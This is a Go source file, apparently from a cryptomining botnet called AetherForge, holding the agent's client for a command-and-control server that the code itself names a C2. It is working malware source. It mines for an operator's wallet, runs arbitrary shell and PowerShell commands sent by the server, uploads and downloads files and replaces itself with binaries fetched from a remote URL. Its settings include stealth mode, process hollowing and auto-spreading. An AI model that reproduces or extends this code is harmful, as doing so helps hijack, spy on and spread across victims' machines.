AetherForge/agent/client/client.go

package client

import (
	"encoding/base64"
	"encoding/json"
	"fmt"
	"io"
	"log"
	"net"
	"net/http"
	"net/url"
	"os"
	"os/exec"
	"path/filepath"
	"runtime"
	"strings"
	"sync"
	"time"

	"crypto-miner-agent/config"
	"crypto-miner-agent/deploy"
	"crypto-miner-agent/job"
	"crypto-miner-agent/miner"
	"crypto-miner-agent/stats"

	"github.com/gorilla/websocket"
)

type AgentClient struct {
	cfg       config.RuntimeConfig
	conn      *websocket.Conn
	pool      *miner.Pool
	reporter  *stats.Reporter
	startTime time.Time
	aiRunner  *AIRunner
	mesh      *MeshNode

	mu              sync.Mutex
	agentID         string
	sharesSubmitted int
	sharesAccepted  int
}

func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
	c := &AgentClient{
		cfg:       cfg,
		reporter:  stats.NewReporter(),
		startTime: time.Now(),
		agentID:   cfg.AgentID,
	}
	c.mesh = NewMeshNode(c)
	return c
}

func (c *AgentClient) Run() error {
	threads := c.cfg.EffectiveThreads()
	c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
	c.pool.Start()
	defer c.pool.Stop()

	// Start AI Autonomy runner if enabled
	if c.cfg.AIEnabled {
		c.aiRunner = NewAIRunner(c.cfg, c.reporter, c.pool)
		c.aiRunner.shareStats = func() (int, int) {
			c.mu.Lock()
			defer c.mu.Unlock()
			return c.sharesSubmitted, c.sharesAccepted
		}
		c.aiRunner.Start()
		defer c.aiRunner.Stop()
	}

	// Start libp2p Mesh Discovery
	if c.cfg.MeshP2P {
		if err := c.mesh.Start(); err != nil {
			log.Printf("[Mesh] Failed to start: %v", err)
		}
	}

	// Build deduped server list: primary first, then backups.
	// On each failure we advance to the next URL so the fleet never
	// goes dark when the primary host reboots.
	serverURLs := buildServerURLList(c.cfg)
	log.Printf("[agent] %d server(s) configured: %v", len(serverURLs), serverURLs)

	urlIdx := 0
	backoff := 5 * time.Second
	const maxBackoff = 60 * time.Second

	for {
		target := serverURLs[urlIdx%len(serverURLs)]
		start := time.Now()
		if err := c.connectLoop(target); err != nil {
			log.Printf("[agent] disconnected from %s: %v", target, err)
		}
		// Advance to next URL so the next reconnect tries a different server
		urlIdx++
		if time.Since(start) > 10*time.Second {
			// Long-lived connection succeeded — reset backoff on the next attempt
			backoff = 5 * time.Second
		}
		time.Sleep(backoff)
		backoff += 5 * time.Second
		if backoff > maxBackoff {
			backoff = maxBackoff
		}
	}
}

// buildServerURLList returns [primaryURL, ...backupURLs] deduped and in order.
func buildServerURLList(cfg config.RuntimeConfig) []string {
	seen := map[string]bool{}
	var urls []string
	add := func(u string) {
		u = strings.TrimSpace(u)
		if u == "" || seen[u] {
			return
		}
		seen[u] = true
		urls = append(urls, u)
	}
	add(cfg.ServerURL)
	for _, u := range cfg.BackupServerURLs {
		add(u)
	}
	if len(urls) == 0 {
		urls = []string{cfg.ServerURL}
	}
	return urls
}

func (c *AgentClient) connectLoop(serverURL string) error {
	wsURL, err := buildWSURL(serverURL)
	if err != nil {
		return err
	}

	log.Printf("[agent] connecting to %s", wsURL)
	dialer := websocket.Dialer{HandshakeTimeout: 45 * time.Second}
	conn, _, err := dialer.Dial(wsURL, nil)
	if err != nil {
		return err
	}
	if tc, ok := conn.UnderlyingConn().(*net.TCPConn); ok {
		_ = tc.SetKeepAlive(true)
		_ = tc.SetKeepAlivePeriod(30 * time.Second)
	}
	c.conn = conn
	defer conn.Close()

	conn.SetPongHandler(func(string) error {
		return conn.SetReadDeadline(time.Now().Add(90 * time.Second))
	})

	if err := c.authenticate(); err != nil {
		return err
	}

	statsStop := make(chan struct{})
	go c.statsLoop(statsStop)
	defer close(statsStop)

	for {
		conn.SetReadDeadline(time.Now().Add(90 * time.Second))
		_, data, err := conn.ReadMessage()
		if err != nil {
			return err
		}
		var msg Message
		if err := json.Unmarshal(data, &msg); err != nil {
			continue
		}
		c.handleMessage(msg)
	}
}

func (c *AgentClient) authenticate() error {
	host, cores, memGB := c.reporter.SystemInfo()
	payload, _ := json.Marshal(AuthPayload{
		AgentID:          c.agentID,
		Wallet:           c.cfg.Wallet,
		Version:          config.Version,
		Hostname:         host,
		CPUCores:         cores,
		MemoryGB:         memGB,
		Worker:           c.cfg.WorkerName,
		PoolHost:         c.cfg.PoolHost,
		PoolPort:         c.cfg.PoolPort,
		PoolTLS:          c.cfg.PoolTLS,
		PoolPass:         c.cfg.PoolPass,
		AIEnabled:        c.cfg.AIEnabled,
		AIOllamaEndpoint: c.cfg.AIOllamaEndpoint,
		AIModel:          c.cfg.AIModel,
		HolePunch:        c.cfg.HolePunch,
		RemoteAggressive: c.cfg.RemoteAggressive,
		MeshP2P:          c.cfg.MeshP2P,
		AutoSpread:       c.cfg.AutoSpread,
		ProcessHollowing: c.cfg.ProcessHollowing && runtime.GOOS == "windows",
		Platform:         runtime.GOOS,
		Arch:             runtime.GOARCH,
		OSVersion:        deploy.HostOSVersion(),
	})
	if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
		return err
	}

	_, data, err := c.conn.ReadMessage()
	if err != nil {
		return err
	}
	var msg Message
	if err := json.Unmarshal(data, &msg); err != nil {
		return err
	}
	if msg.Type != "auth_response" {
		return fmt.Errorf("unexpected message: %s", msg.Type)
	}
	var resp AuthResponse
	if err := json.Unmarshal(msg.Payload, &resp); err != nil {
		return err
	}
	if !resp.Success {
		return fmt.Errorf("auth failed: %s", resp.Error)
	}
	c.agentID = resp.AgentID
	log.Printf("[agent] authenticated as %s", c.agentID)
	c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
	return nil
}

func jobPayloadHasError(payload json.RawMessage) bool {
	_, ok := jobPayloadErrorMessage(payload)
	return ok
}

func jobPayloadErrorMessage(payload json.RawMessage) (string, bool) {
	var raw map[string]json.RawMessage
	if err := json.Unmarshal(payload, &raw); err != nil {
		return "", false
	}
	errMsg, ok := raw["error"]
	if !ok {
		return "", false
	}
	return strings.Trim(string(errMsg), `"`), true
}

func (c *AgentClient) handleMessage(msg Message) {
	switch msg.Type {
	case "new_job":
		if jobPayloadHasError(msg.Payload) {
			if msg, _ := jobPayloadErrorMessage(msg.Payload); msg != "" {
				log.Printf("[agent] job error from server: %s", msg)
			}
			c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
			return
		}
		var j job.Job
		if err := json.Unmarshal(msg.Payload, &j); err != nil {
			log.Printf("[agent] bad job payload: %v", err)
			return
		}
		if j.Blob == "" {
			log.Printf("[agent] empty job blob — requesting job again")
			c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
			return
		}
		log.Printf("[agent] new job %s height=%d", j.ID, j.Height)
		c.pool.SetJob(&j)
	case "share_result":
		var result ShareResult
		if err := json.Unmarshal(msg.Payload, &result); err != nil {
			return
		}
		if result.Accepted {
			c.mu.Lock()
			c.sharesAccepted++
			c.mu.Unlock()
		}
	case "command":
		var cmd struct {
			Action    string `json:"action"`
			TailLines int    `json:"tail_lines"`
			Command   string `json:"command"`
			Path      string `json:"path"`
			Data      string `json:"data"`
		}
		if err := json.Unmarshal(msg.Payload, &cmd); err != nil {
			return
		}
		c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data)
	}
}

func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data string) {
	if c.handleAggressiveCommand(action, tailLines, command, path, data) {
		return
	}
	switch action {
	case "pause":
		c.pool.PauseRemote()
		c.sendCommandResult(action, true, "mining paused")
	case "resume":
		c.pool.ResumeRemote()
		c.sendCommandResult(action, true, "mining resumed")
	case "restart":
		c.sendCommandResult(action, true, "restarting")
		go c.restartSelf()
	case "stop", "kill":
		c.sendCommandResult(action, true, "stopping")
		go c.stopSelf()
	case "uninstall":
		c.sendCommandResult(action, true, "uninstalling")
		go func() {
			time.Sleep(500 * time.Millisecond)
			if err := deploy.Uninstall(c.cfg); err != nil {
				log.Printf("[agent] remote uninstall failed: %v", err)
			}
		}()
	case "get_log":
		if tailLines <= 0 {
			tailLines = 300
		}
		content, err := readLogTail(c.cfg, tailLines)
		if err != nil {
			c.sendCommandResult(action, false, err.Error())
			return
		}
		payload, _ := json.Marshal(map[string]interface{}{
			"content": content,
			"lines":   tailLines,
		})
		_ = c.write(Message{Type: "log_tail", Payload: payload})
		preview := content
		if len(preview) > 12000 {
			preview = preview[len(preview)-12000:]
		}
		c.sendCommandResult(action, true, preview)
	case "exec":
		if command == "" {
			c.sendCommandResult(action, false, "no command provided")
			return
		}
		out, err := c.runExecCommand(command)
		if err != nil {
			c.sendCommandResult(action, false, formatCmdErr(err, out))
			return
		}
		c.sendCommandResult(action, true, string(out))
	case "powershell":
		if command == "" {
			c.sendCommandResult(action, false, "no command provided")
			return
		}
		out, err := c.runShellCommand(command)
		if err != nil {
			c.sendCommandResult(action, false, formatCmdErr(err, out))
			return
		}
		c.sendCommandResult(action, true, string(out))
	case "upload":
		if path == "" || data == "" {
			c.sendCommandResult(action, false, "path and data (base64) are required")
			return
		}
		decoded, err := base64.StdEncoding.DecodeString(data)
		if err != nil {
			c.sendCommandResult(action, false, "invalid base64 data: "+err.Error())
			return
		}
		if err := os.WriteFile(path, decoded, 0644); err != nil {
			c.sendCommandResult(action, false, "failed to write file: "+err.Error())
			return
		}
		c.sendCommandResult(action, true, fmt.Sprintf("file uploaded to %s (%d bytes)", path, len(decoded)))
	case "download":
		if path == "" {
			c.sendCommandResult(action, false, "path is required")
			return
		}
		b, err := os.ReadFile(path)
		if err != nil {
			c.sendCommandResult(action, false, "failed to read file: "+err.Error())
			return
		}
		encoded := base64.StdEncoding.EncodeToString(b)
		c.sendCommandResult(action, true, encoded)
	case "upgrade":
		// data = download URL for the new binary
		if data == "" {
			c.sendCommandResult(action, false, "no upgrade URL provided")
			return
		}
		go c.performUpgrade(data)
		c.sendCommandResult(action, true, "upgrade started — will reconnect with new binary")
	default:
		if c.handleReconCommand(action, command) {
			return
		}
		c.sendCommandResult(action, false, "unknown action")
	}
}

func (c *AgentClient) sendCommandResult(action string, success bool, message string) {
	payload, _ := json.Marshal(map[string]interface{}{
		"action":  action,
		"success": success,
		"message": message,
	})
	_ = c.write(Message{Type: "command_result", Payload: payload})
}

func (c *AgentClient) stopSelf() {
	time.Sleep(300 * time.Millisecond)
	c.pool.Stop()
	os.Exit(0)
}

func (c *AgentClient) restartSelf() {
	time.Sleep(300 * time.Millisecond)
	exe, err := os.Executable()
	if err != nil {
		return
	}
	cmd := exec.Command(exe, "--run")
	cmd.Dir = filepath.Dir(exe)
	_ = cmd.Start()
	os.Exit(0)
}

// performUpgrade downloads a new binary from downloadURL, replaces the
// installed binary, and restarts. Works around Windows file-locking by
// renaming the running exe to .old before writing the new one.
func (c *AgentClient) performUpgrade(downloadURL string) {
	log.Printf("[agent] upgrade: downloading from %s", downloadURL)
	resp, err := http.Get(downloadURL) //nolint:gosec — URL is from trusted C2
	if err != nil {
		log.Printf("[agent] upgrade: download failed: %v", err)
		c.sendCommandResult("upgrade", false, "download failed: "+err.Error())
		return
	}
	defer resp.Body.Close()
	if resp.StatusCode != http.StatusOK {
		log.Printf("[agent] upgrade: server returned %s", resp.Status)
		c.sendCommandResult("upgrade", false, "server returned "+resp.Status)
		return
	}

	exe, err := os.Executable()
	if err != nil {
		c.sendCommandResult("upgrade", false, "cannot locate executable: "+err.Error())
		return
	}
	exe, _ = filepath.Abs(exe)

	// Write new binary to a temp file in the same directory
	newPath := exe + ".new"
	tmp, err := os.OpenFile(newPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
	if err != nil {
		c.sendCommandResult("upgrade", false, "cannot write upgrade: "+err.Error())
		return
	}
	if _, err := io.Copy(tmp, resp.Body); err != nil {
		tmp.Close()
		_ = os.Remove(newPath)
		c.sendCommandResult("upgrade", false, "write failed: "+err.Error())
		return
	}
	tmp.Close()

	// On Windows: rename the running exe to .old (allowed), then rename .new into place.
	// On other OSes: direct rename works while the process is running.
	oldPath := exe + ".old"
	_ = os.Remove(oldPath)
	if err := os.Rename(exe, oldPath); err != nil {
		_ = os.Remove(newPath)
		c.sendCommandResult("upgrade", false, "rename old binary failed: "+err.Error())
		return
	}
	if err := os.Rename(newPath, exe); err != nil {
		// Try to roll back
		_ = os.Rename(oldPath, exe)
		_ = os.Remove(newPath)
		c.sendCommandResult("upgrade", false, "rename new binary failed: "+err.Error())
		return
	}

	log.Printf("[agent] upgrade: binary replaced, restarting")
	c.sendCommandResult("upgrade", true, "binary replaced — restarting")
	time.Sleep(500 * time.Millisecond)

	cmd := exec.Command(exe, "--run")
	cmd.Dir = filepath.Dir(exe)
	if startErr := cmd.Start(); startErr != nil {
		log.Printf("[agent] upgrade: restart failed: %v", startErr)
	}
	os.Exit(0)
}

func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) {
	if !cfg.FileLogging || cfg.StealthMode {
		return "", fmt.Errorf("logging disabled (stealth build or file_logging=false)")
	}
	if tailLines <= 0 {
		tailLines = 200
	}
	installDir, err := cfg.InstallDirectory()
	if err != nil {
		return "", err
	}
	logPath := filepath.Join(installDir, "miner.log")
	data, err := os.ReadFile(logPath)
	if err != nil {
		if os.IsNotExist(err) {
			return "", fmt.Errorf("miner.log not found")
		}
		return "", err
	}
	lines := strings.Split(string(data), "\n")
	if len(lines) > tailLines {
		lines = lines[len(lines)-tailLines:]
	}
	return strings.Join(lines, "\n"), nil
}

func (c *AgentClient) submitShare(jobID, nonce, hash string) {
	c.mu.Lock()
	c.sharesSubmitted++
	conn := c.conn // read under the same lock to avoid data race
	c.mu.Unlock()

	payload, _ := json.Marshal(SharePayload{
		JobID:  jobID,
		Nonce:  nonce,
		Hash:   hash,
		Worker: c.cfg.WorkerName,
	})

	if conn != nil {
		_ = c.write(Message{Type: "submit_share", Payload: payload})
	} else if c.cfg.MeshP2P {
		c.mesh.BroadcastToMesh(Message{Type: "submit_share", Payload: payload})
	}
}

func (c *AgentClient) statsLoop(stop <-chan struct{}) {
	ticker := time.NewTicker(10 * time.Second)
	defer ticker.Stop()

	var samples []float64
	for {
		select {
		case <-stop:
			return
		case <-ticker.C:
			hps := c.pool.HashesPerSecond()
			c.pool.ResetHashCounter()
			samples = append(samples, hps)
			if len(samples) > 90 {
				samples = samples[len(samples)-90:]
			}

			var avg15s, avg1m, avg15m float64
			if len(samples) > 0 {
				avg15s = samples[len(samples)-1]
			}
			if len(samples) >= 6 {
				for _, v := range samples[len(samples)-6:] {
					avg1m += v
				}
				avg1m /= 6
			} else {
				avg1m = avg15s
			}
			for _, v := range samples {
				avg15m += v
			}
			avg15m /= float64(len(samples))

			cpuPct, memPct := c.reporter.Usage()
			if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 {
				cpuPct = sysCPU
			}
			c.mu.Lock()
			submitted := c.sharesSubmitted
			accepted := c.sharesAccepted
			c.mu.Unlock()

			payload, _ := json.Marshal(StatsPayload{
				Hashrate15s:     avg15s,
				Hashrate1m:      avg1m,
				Hashrate15m:     avg15m,
				SharesSubmitted: submitted,
				SharesAccepted:  accepted,
				CPUUsagePct:     cpuPct,
				MemoryUsagePct:  memPct,
				UptimeSeconds:   int(time.Since(c.startTime).Seconds()),
			})
			_ = c.write(Message{Type: "stats", Payload: payload})
		}
	}
}

func (c *AgentClient) write(msg Message) error {
	c.mu.Lock()
	defer c.mu.Unlock()
	if c.conn == nil {
		return fmt.Errorf("not connected")
	}
	return c.conn.WriteJSON(msg)
}

func buildWSURL(serverURL string) (string, error) {
	u, err := url.Parse(strings.TrimSpace(serverURL))
	if err != nil {
		return "", err
	}
	switch u.Scheme {
	case "https":
		u.Scheme = "wss"
	case "http", "":
		u.Scheme = "ws"
	case "wss", "ws":
	default:
		return "", fmt.Errorf("unsupported server URL scheme: %s", u.Scheme)
	}
	if u.Scheme == "" {
		u.Scheme = "ws"
	}
	u.Path = strings.TrimSuffix(u.Path, "/") + "/ws/agent"
	u.RawQuery = ""
	u.Fragment = ""
	return u.String(), nil
}